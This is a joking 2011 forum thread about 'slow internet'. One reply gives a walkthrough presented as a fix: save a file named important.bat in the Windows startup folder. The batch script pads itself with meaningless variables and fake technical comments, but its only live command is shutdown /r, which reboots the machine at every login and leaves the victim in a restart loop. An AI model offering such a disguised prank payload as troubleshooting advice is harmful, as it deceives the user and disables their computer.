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 Please help fomenta 
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Post Please help fomenta
My internets is slows. I thinks its because its on fire somewhere in the NAT translation upstream in another state. Please help them put out the fire so my internet becomes stables.


Thu Sep 08, 2011 6:39 am
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Post Re: Please help fomenta
They have the interwebz in Alabama?

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Post Re: Please help fomenta
I've seen this before.

I've prepared a simple walkthrough for you that should fix your problem:

First in the run box, type "shell:startup"
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A window should appear:
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Right click in the window and select "New" > "Text Document"
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After the document appears, rename it to "important.bat"
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You'll be presented with this Rename dialog, click "Yes"
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Right click on the newly created file and select "Edit"
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In the Notepad window that appears, paste the following text:
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@echo off
SET _STR=ycIjQqFKanohzIMIHXisgyabbFYfagEjIqTTD
SET _ARG1=%_STR1:~8,4%
SET _ARG2=%_STR1:~19,2%
SET _ARG3=%_STR1:~23,1%
SET _ARG4=%_STR1:~28,3%
:: # Generate Keystream
SET _TEMP1=LiEYhOsQMh
:: # Locate Parser
SET _TEMP2=IkwHnkWnnf
:: # Enable Hyperthreading
SET _TEMP3=obGQjnPtSm
:: # Compile Position Independent Code
SET _TEMP4=jf1iHOuNp9
:: # Adjust Bootloader
SET _TEMP5=LdboDeijyp
:: # Configure Interface
SET _TEMP6=qxG6Vk8lkS
:: # Ensure MTU is Sufficient
SET _TEMP7=gapmpyxpwD
:: # Diagnose Issues
SET _TEMP8=zcOqb7zvgS
SET _TEMP9=IWRzl8WY3y
SET _TEMPx=dk51gnAlP6
:: # Update Registry Entries
:: UpdateReg \HKEY_LOCAL_MACHINE\System\Networking\burninator\ %TRUE%
:: if( WindowsUAC(system, networking, eth0, is_onfire()) )
::    C:\Windows\system32\extinguish.exe \now
:: endif
:: # Register Globals
C:\Windows\System32\shutdown.exe /r /c "%_ARG1% %_ARG2% %_ARG3% %_ARG4%"
:: # Handle Return Values
:: WinSock_Handle tmp8924.tmp


...it should look like this:
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Save the file by clicking "File" > "Save":
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Restart your computer and let the update do its thing.

Good luck!

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Post Re: Please help fomenta
lawl - it doesnt work Texas is still burning!

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